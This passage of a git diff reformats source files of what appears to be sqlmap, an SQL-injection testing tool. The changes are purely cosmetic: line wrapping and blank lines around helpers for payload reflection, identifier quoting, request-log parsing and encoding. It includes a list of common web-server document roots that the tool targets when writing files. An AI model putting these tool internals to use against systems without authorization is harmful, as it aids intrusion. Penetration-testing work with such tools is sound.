REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) @@ -4148,7 +4377,8 @@ def removeReflectiveValues(content, payload, suppressWarning=False): regex = _(filterStringValue(payload, r"[A-Za-z0-9]", encodeStringEscape(REFLECTED_REPLACEMENT_REGEX))) if regex != payload: - if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check + if all(part.lower() in content.lower() for part in + filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check parts = regex.split(REFLECTED_REPLACEMENT_REGEX) # Note: naive approach @@ -4156,7 +4386,9 @@ def removeReflectiveValues(content, payload, suppressWarning=False): retVal = retVal.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER) if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs - regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:]))) + regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), + REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join( + parts[-REFLECTED_MAX_REGEX_PARTS // 2:]))) parts = filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX)) @@ -4225,6 +4457,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False): return retVal + def normalizeUnicode(value, charset=string.printable[:string.printable.find(' ') + 1]): """ Does an ASCII normalization of unicode strings @@ -4245,6 +4478,7 @@ def normalizeUnicode(value, charset=string.printable[:string.printable.find(' ') return retVal + def safeSQLIdentificatorNaming(name, isTable=False): """ Returns a safe representation of SQL identificator name (internal data format) @@ -4270,13 +4504,18 @@ def safeSQLIdentificatorNaming(name, isTable=False): retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal) # Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf) - if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) + if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[ + 0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), + retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) if not conf.noEscape: retVal = unsafeSQLIdentificatorNaming(retVal) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, + DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO): + elif Backend.getIdentifiedDbms() in ( + DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, + DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO): retVal = "\"%s\"" % retVal elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = "\"%s\"" % retVal.upper() @@ -4284,7 +4523,8 @@ def safeSQLIdentificatorNaming(name, isTable=False): if isTable: parts = retVal.split('.', 1) for i in xrange(len(parts)): - if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords): + if parts[i] and ( + re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords): parts[i] = "[%s]" % parts[i] retVal = '.'.join(parts) else: @@ -4292,11 +4532,13 @@ def safeSQLIdentificatorNaming(name, isTable=False): retVal = "[%s]" % retVal if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): - if (conf.db or "").lower() != "information_schema": # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5192 + if ( + conf.db or "").lower() != "information_schema": # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5192 retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) return retVal + def unsafeSQLIdentificatorNaming(name): """ Extracts identificator's name from its safe SQL representation @@ -4315,7 +4557,9 @@ def unsafeSQLIdentificatorNaming(name): if isinstance(name, six.string_types): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO): + elif Backend.getIdentifiedDbms() in ( + DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, + DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO): retVal = name.replace("\"", "") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = name.replace("\"", "").upper() @@ -4327,6 +4571,7 @@ def unsafeSQLIdentificatorNaming(name): return retVal + def isNoneValue(value): """ Returns whether the value is unusable (None or '') @@ -4352,6 +4597,7 @@ def isNoneValue(value): else: return value is None + def isNullValue(value): """ Returns whether the value contains explicit 'NULL' value @@ -4364,6 +4610,7 @@ def isNullValue(value): return hasattr(value, "upper") and value.upper() == NULL + def expandMnemonics(mnemonics, parser, args): """ Expands mnemonic options @@ -4426,7 +4673,8 @@ def expandMnemonics(mnemonics, parser, args): logger.debug(debugMsg) else: found = sorted(options.keys(), key=len)[0] - warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options)) + warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % ( + name, ", ".join("'%s'" % key for key in options)) warnMsg += "Resolved to shortest of those ('%s')" % found logger.warning(warnMsg) @@ -4451,6 +4699,7 @@ def expandMnemonics(mnemonics, parser, args): errMsg = "mnemonic '%s' requires value of type '%s'" % (name, found.type) raise SqlmapSyntaxException(errMsg) + def safeCSValue(value): """ Returns value safe for CSV dumping @@ -4472,6 +4721,7 @@ def safeCSValue(value): return retVal + def filterPairValues(values): """ Returns only list-like values with length 2 @@ -4487,6 +4737,7 @@ def filterPairValues(values): return retVal + def randomizeParameterValue(value): """ Randomize a parameter value based on occurrences of alphanumeric characters @@ -4539,6 +4790,7 @@ def randomizeParameterValue(value): return retVal + @cachedmethod def asciifyUrl(url, forceQuote=False): """ @@ -4614,6 +4866,7 @@ def asciifyUrl(url, forceQuote=False): return getText(_urllib.parse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) or url) + def isAdminFromPrivileges(privileges): """ Inspects privileges to see if those are coming from an admin user @@ -4639,10 +4892,12 @@ def isAdminFromPrivileges(privileges): # In Firebird there is no specific privilege that means # that the user is DBA - retVal |= (Backend.isDbms(DBMS.FIREBIRD) and all(_ in privileges for _ in ("SELECT", "INSERT", "UPDATE", "DELETE", "REFERENCES", "EXECUTE"))) + retVal |= (Backend.isDbms(DBMS.FIREBIRD) and all( + _ in privileges for _ in ("SELECT", "INSERT", "UPDATE", "DELETE", "REFERENCES", "EXECUTE"))) return retVal + def findPageForms(content, url, raise_=False, addToTargets=False): """ Parses given page content for possible forms (Note: still not implemented for Python3) @@ -4751,7 +5006,8 @@ def findPageForms(content, url, raise_=False, addToTargets=False): data = data.rstrip(DEFAULT_GET_POST_DELIMITER) retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None)) - for match in re.finditer(r"(?s)(\w+)\.open\(['\"]POST['\"],\s*['\"]([^'\"]+)['\"]\).*?\1\.send\(([^)]+)\)", content): + for match in re.finditer(r"(?s)(\w+)\.open\(['\"]POST['\"],\s*['\"]([^'\"]+)['\"]\).*?\1\.send\(([^)]+)\)", + content): url = _urllib.parse.urljoin(url, htmlUnescape(match.group(2))) data = match.group(3) @@ -4773,6 +5029,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False): return retVal + def checkSameHost(*urls): """ Returns True if all provided urls share that same host @@ -4793,7 +5050,9 @@ def checkSameHost(*urls): value = "http://%s" % value return value - return all(re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(url) or "").netloc.split(':')[0]) == re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(urls[0]) or "").netloc.split(':')[0]) for url in urls[1:]) + return all(re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(url) or "").netloc.split(':')[0]) == re.sub( + r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(urls[0]) or "").netloc.split(':')[0]) for url in urls[1:]) + def getHostHeader(url): """ @@ -4818,6 +5077,7 @@ def getHostHeader(url): return retVal + def checkOldOptions(args): """ Checks for obsolete/deprecated options @@ -4836,6 +5096,7 @@ def checkOldOptions(args): warnMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_] logger.warning(warnMsg) + def checkSystemEncoding(): """ Checks for problematic encodings @@ -4857,6 +5118,7 @@ def checkSystemEncoding(): _reload_module(sys) sys.setdefaultencoding("cp1256") + def evaluateCode(code, variables=None): """ Executes given python code given in a string form @@ -4873,6 +5135,7 @@ def evaluateCode(code, variables=None): errMsg = "an error occurred while evaluating provided code ('%s') " % getSafeExString(ex) raise SqlmapGenericException(errMsg) + def serializeObject(object_): """ Serializes given object @@ -4883,6 +5146,7 @@ def serializeObject(object_): return base64pickle(object_) + def unserializeObject(value): """ Unserializes object from given serialized form @@ -4895,6 +5159,7 @@ def unserializeObject(value): return base64unpickle(value) if value else None + def resetCounter(technique): """ Resets query counter for a given technique @@ -4902,6 +5167,7 @@ def resetCounter(technique): kb.counters[technique] = 0 + def incrementCounter(technique): """ Increments query counter for a given technique @@ -4909,6 +5175,7 @@ def incrementCounter(technique): kb.counters[technique] = getCounter(technique) + 1 + def getCounter(technique): """ Returns query counter for a given technique @@ -4919,6 +5186,7 @@ def getCounter(technique): return kb.counters.get(technique, 0) + def applyFunctionRecursively(value, function): """ Applies function recursively through list-like structures @@ -4934,6 +5202,7 @@ def applyFunctionRecursively(value, function): return retVal + def decodeDbmsHexValue(value, raw=False): """ Returns value decoded from DBMS specific hexadecimal representation @@ -4987,6 +5256,7 @@ def decodeDbmsHexValue(value, raw=False): return retVal + def extractExpectedValue(value, expected): """ Extracts and returns expected value by a given type @@ -5027,15 +5297,18 @@ def extractExpectedValue(value, expected): return value + def hashDBWrite(key, value, serialize=False): """ Helper function for writing session data to HashDB """ if conf.hashDB: - _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) + _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in ( + conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) conf.hashDB.write(_, value, serialize) + def hashDBRetrieve(key, unserialize=False, checkConf=False): """ Helper function for restoring session data from HashDB @@ -5044,14 +5317,18 @@ def hashDBRetrieve(key, unserialize=False, checkConf=False): retVal = None if conf.hashDB: - _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) - retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None + _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in ( + conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) + retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not ( + checkConf and any((conf.flushSession, conf.freshQueries))) else None - if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, six.string_types) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): + if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, six.string_types) and any( + _ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): retVal = None return retVal + def resetCookieJar(cookieJar): """ Cleans cookies from a given cookie jar @@ -5099,6 +5376,7 @@ def resetCookieJar(cookieJar): errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", r"\g<1>", getSafeExString(ex)) raise SqlmapGenericException(errMsg) + def decloakToTemp(filename): """ Decloaks content of a given file to a temporary file with similar name and extension @@ -5125,6 +5403,7 @@ def decloakToTemp(filename): return filename + def prioritySortColumns(columns): """ Sorts given column names by length in ascending order while those containing @@ -5137,7 +5416,9 @@ def prioritySortColumns(columns): def _(column): return column and re.search(r"^id|id$", column, re.I) is not None - return sorted(sorted(columns, key=len), key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0)) + return sorted(sorted(columns, key=len), + key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0)) + def getRequestHeader(request, name): """ @@ -5160,6 +5441,7 @@ def getRequestHeader(request, name): return retVal + def isNumber(value): """ Returns True if the given value is a number-like object @@ -5179,6 +5461,7 @@ def isNumber(value): else: return True + def zeroDepthSearch(expression, value): """ Searches occurrences of value inside expression at 0-depth level @@ -5207,6 +5490,7 @@ def zeroDepthSearch(expression, value): return retVal + def splitFields(fields, delimiter=','): """ Returns list of (0-depth) fields splitted by delimiter @@ -5222,6 +5506,7 @@ def splitFields(fields, delimiter=','): return [fields[x + 1:y] for (x, y) in _zip(commas, commas[1:])] + def pollProcess(process, suppress_errors=False): """ Checks for process status (prints . if still running) @@ -5244,6 +5529,7 @@ def pollProcess(process, suppress_errors=False): break + def parseRequestFile(reqFile, checkParams=True): """ Parses WebScarab and Burp logs and adds results to the target URL list @@ -5279,7 +5565,7 @@ def parseRequestFile(reqFile, checkParams=True): logger.warning(warnMsg) continue - if not(conf.scope and not re.search(conf.scope, url, re.I)): + if not (conf.scope and not re.search(conf.scope, url, re.I)): yield (url, method, None, cookie, tuple()) def _parseBurpLog(content): @@ -5322,7 +5608,8 @@ def parseRequestFile(reqFile, checkParams=True): if "HTTP/" not in request: continue - if re.search(r"^[\n]*%s[^?]*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M): + if re.search(r"^[\n]*%s[^?]*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), + request, re.I | re.M): if not re.search(r"^[\n]*%s[^\n]*\*[^\n]*\sHTTP\/" % HTTPMETHOD.GET, request, re.I | re.M): continue @@ -5397,7 +5684,9 @@ def parseRequestFile(reqFile, checkParams=True): params = True # Avoid proxy and connection type related headers - elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH): + elif key not in ( + HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, + HTTP_HEADER.IF_NONE_MATCH): headers.append((getUnicode(key), getUnicode(value))) if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): @@ -5424,7 +5713,7 @@ def parseRequestFile(reqFile, checkParams=True): scheme = None port = None - if not(conf.scope and not re.search(conf.scope, url, re.I)): + if not (conf.scope and not re.search(conf.scope, url, re.I)): yield (url, conf.method or method, data, cookie, tuple(headers)) content = readCachedFileContent(reqFile) @@ -5444,6 +5733,7 @@ def parseRequestFile(reqFile, checkParams=True): for target in _parseWebScarabLog(content): yield target + def getSafeExString(ex, encoding=None): """ Safe way how to get the proper exception represtation as a string @@ -5473,6 +5763,7 @@ def getSafeExString(ex, encoding=None): return getUnicode(retVal or "", encoding=encoding).strip() + def safeVariableNaming(value): """ Returns escaped safe-representation of a given variable name that can be used in Python evaluated code @@ -5486,6 +5777,7 @@ def safeVariableNaming(value): return value + def unsafeVariableNaming(value): """ Returns unescaped safe-representation of a given variable name @@ -5499,6 +5791,7 @@ def unsafeVariableNaming(value): return value + def firstNotNone(*args): """ Returns first not-None value from a given list of arguments @@ -5516,6 +5809,7 @@ def firstNotNone(*args): return retVal + def removePostHintPrefix(value): """ Remove POST hint prefix from a given value (name) @@ -5526,7 +5820,9 @@ def removePostHintPrefix(value): 'id' """ - return re.sub(r"\A(%s) " % '|'.join(re.escape(__) for __ in getPublicTypeMembers(POST_HINT, onlyValues=True)), "", value) + return re.sub(r"\A(%s) " % '|'.join(re.escape(__) for __ in getPublicTypeMembers(POST_HINT, onlyValues=True)), "", + value) + def chunkSplitPostData(data): """ diff --git a/lib/core/compat.py b/lib/core/compat.py index 851e57eb8..0b7e25bd6 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -17,12 +17,13 @@ import sys import time import uuid + class WichmannHill(random.Random): """ Reference: https://svn.python.org/projects/python/trunk/Lib/random.py """ - VERSION = 1 # used by getstate/setstate + VERSION = 1 # used by getstate/setstate def seed(self, a=None): """Initialize internal state from hashable object. @@ -166,6 +167,7 @@ class WichmannHill(random.Random): z = (z + a) % 256 or 1 self.__whseed(x, y, z) + def patchHeaders(headers): if headers is not None and not hasattr(headers, "headers"): if isinstance(headers, dict): @@ -189,6 +191,7 @@ def patchHeaders(headers): return headers + def cmp(a, b): """ >>> cmp("a", "b") @@ -204,6 +207,7 @@ def cmp(a, b): else: return 0 + # Reference: https://github.com/urllib3/urllib3/blob/master/src/urllib3/filepost.py def choose_boundary(): """ @@ -220,6 +224,7 @@ def choose_boundary(): return retval + # Reference: http://python3porting.com/differences.html def round(x, d=0): """ @@ -235,9 +240,11 @@ def round(x, d=0): else: return float(math.ceil((x * p) - 0.5)) / p + # Reference: https://code.activestate.com/recipes/576653-convert-a-cmp-function-to-a-key-function/ def cmp_to_key(mycmp): """Convert a cmp= function into a key= function""" + class K(object): __slots__ = ['obj'] @@ -267,6 +274,7 @@ def cmp_to_key(mycmp): return K + # Note: patch for Python 2.6 if not hasattr(functools, "cmp_to_key"): functools.cmp_to_key = cmp_to_key @@ -278,6 +286,7 @@ else: xrange = xrange buffer = buffer + def LooseVersion(version): """ >>> LooseVersion("1.0") == LooseVersion("1.0") diff --git a/lib/core/convert.py b/lib/core/convert.py index c6f86aa1f..05c1c69fa 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -37,6 +37,7 @@ try: except ImportError: from cgi import escape as htmlEscape + def base64pickle(value): """ Serializes (with pickle) and encodes to Base64 format supplied (binary) value @@ -61,6 +62,7 @@ def base64pickle(value): return retVal + def base64unpickle(value): """ Decodes value from Base64 to plain format and deserializes (with pickle) its content @@ -78,6 +80,7 @@ def base64unpickle(value): return retVal + def htmlUnescape(value): """ Returns (basic conversion) HTML unescaped value @@ -100,20 +103,25 @@ def htmlUnescape(value): return retVal + def singleTimeWarnMessage(message): # Cross-referenced function sys.stdout.write(message) sys.stdout.write("\n") sys.stdout.flush() + def filterNone(values): # Cross-referenced function return [_ for _ in values if _] if isinstance(values, _collections.Iterable) else values + def isListLike(value): # Cross-referenced function return isinstance(value, (list, tuple, set, BigArray)) + def shellExec(cmd): # Cross-referenced function raise NotImplementedError + def jsonize(data): """ Returns JSON serialized data @@ -124,6 +132,7 @@ def jsonize(data): return json.dumps(data, sort_keys=False, indent=4) + def dejsonize(data): """ Returns JSON deserialized data @@ -134,6 +143,7 @@ def dejsonize(data): return json.loads(data) + def decodeHex(value, binary=True): """ Returns a decoded representation of provided hexadecimal value @@ -162,6 +172,7 @@ def decodeHex(value, binary=True): return retVal + def encodeHex(value, binary=True): """ Returns a encoded representation of provided string value @@ -190,6 +201,7 @@ def encodeHex(value, binary=True): return retVal + def decodeBase64(value, binary=True, encoding=None): """ Returns a decoded representation of provided Base64 value @@ -231,6 +243,7 @@ def decodeBase64(value, binary=True, encoding=None): return retVal + def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False): """ Returns a decoded representation of provided Base64 value @@ -271,6 +284,7 @@ def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False): return retVal + def getBytes(value, encoding=None, errors="strict", unsafe=True): """ Returns byte representation of provided Unicode value @@ -310,6 +324,7 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True): return retVal + def getOrds(value): """ Returns ORD(...) representation of provided string value @@ -322,6 +337,7 @@ def getOrds(value): return [_ if isinstance(_, int) else ord(_) for _ in value] + def getUnicode(value, encoding=None, noneToNull=False): """ Returns the unicode representation of the supplied value @@ -341,13 +357,18 @@ def getUnicode(value, encoding=None, noneToNull=False): return value elif isinstance(value, six.binary_type): # Heuristics (if encoding not explicitly specified) - candidates = filterNone((encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding())) + candidates = filterNone((encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, + conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding())) if all(_ in value for _ in (b'<', b'>')): pass elif any(_ in value for _ in (b":\\", b'/', b'.')) and b'\n' not in value: - candidates = filterNone((encoding, sys.getfilesystemencoding(), kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding"))) + candidates = filterNone((encoding, sys.getfilesystemencoding(), + kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, + conf.get("encoding"))) elif conf.get("encoding") and b'\n' not in value: - candidates = filterNone((encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING)) + candidates = filterNone((encoding, conf.get("encoding"), + kb.get("pageEncoding") if kb.get("originalPage") else None, + sys.getfilesystemencoding(), UNICODE_ENCODING)) for candidate in candidates: try: @@ -356,7 +377,8 @@ def getUnicode(value, encoding=None, noneToNull=False): pass try: - return six.text_type(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) + return six.text_type(value, encoding or ( + kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) except UnicodeDecodeError: return six.text_type(value, UNICODE_ENCODING, errors="reversible") elif isListLike(value): @@ -368,6 +390,7 @@ def getUnicode(value, encoding=None, noneToNull=False): except UnicodeDecodeError: return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances + def getText(value, encoding=None): """ Returns textual value of a given value (Note: not necessary Unicode on Python2) @@ -391,6 +414,7 @@ def getText(value, encoding=None): return retVal + def stdoutEncode(value): """ Returns binary representation of a given Unicode value safe for writing to stdout @@ -439,6 +463,7 @@ def stdoutEncode(value): return retVal + def getConsoleLength(value): """ Returns console width of unicode values diff --git a/lib/core/datatype.py b/lib/core/datatype.py index eadcb9cf7..90896e579 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -11,6 +11,7 @@ import types from thirdparty.odict import OrderedDict from thirdparty.six.moves import collections_abc as _collections + class AttribDict(dict): """ This class defines the dictionary with added capability to access members as attributes @@ -87,6 +88,7 @@ class AttribDict(dict): return retVal + class InjectionDict(AttribDict): def __init__(self): AttribDict.__init__(self) @@ -111,6 +113,7 @@ class InjectionDict(AttribDict): self.dbms_version = None self.os = None + # Reference: https://www.kunxi.org/2014/05/lru-cache-in-python class LRUDict(object): """ @@ -158,6 +161,7 @@ class LRUDict(object): def keys(self): return self.cache.keys() + # Reference: https://code.activestate.com/recipes/576694/ class OrderedSet(_collections.MutableSet): """ @@ -177,8 +181,8 @@ class OrderedSet(_collections.MutableSet): def __init__(self, iterable=None): self.end = end = [] - end += [None, end, end] # sentinel node for doubly linked list - self.map = {} # key --> [key, prev, next] + end += [None, end, end] # sentinel node for doubly linked list + self.map = {} # key --> [key, prev, next] if iterable is not None: self |= iterable diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 433ae3f95..804482509 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -18,6 +18,7 @@ _cache = {} _cache_lock = threading.Lock() _method_locks = {} + def cachedmethod(f): """ Method with a cached content @@ -42,7 +43,8 @@ def cachedmethod(f): @functools.wraps(f) def _f(*args, **kwargs): try: - key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff + key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), + 16) & 0x7fffffffffffffff except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value) result = f(*args, **kwargs) else: @@ -59,6 +61,7 @@ def cachedmethod(f): return _f + def stackedmethod(f): """ Method using pushValue/popValue functions (fallback function for stack realignment) @@ -86,6 +89,7 @@ def stackedmethod(f): return _ + def lockedmethod(f): @functools.wraps(f) def _(*args, **kwargs): diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 157adc2ad..2e05f67aa 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -231,19 +231,22 @@ DBMS_DICT = { DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"), DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), - DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), + DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", + "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), DBMS.H2: (H2_ALIASES, None, None, None), DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"), DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None), - DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"), + DBMS.VERTICA: ( + VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"), DBMS.MCKOI: (MCKOI_ALIASES, None, None, None), DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None), DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None), DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None), DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None), - DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), + DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", + "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), DBMS.EXTREMEDB: (EXTREMEDB_ALIASES, None, None, None), DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None), DBMS.RAIMA: (RAIMA_ALIASES, None, None, None), @@ -383,7 +386,9 @@ DUMP_DATA_PREPROCESS = { DEFAULT_DOC_ROOTS = { OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"), - OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout + OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", + "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www") + # Reference: 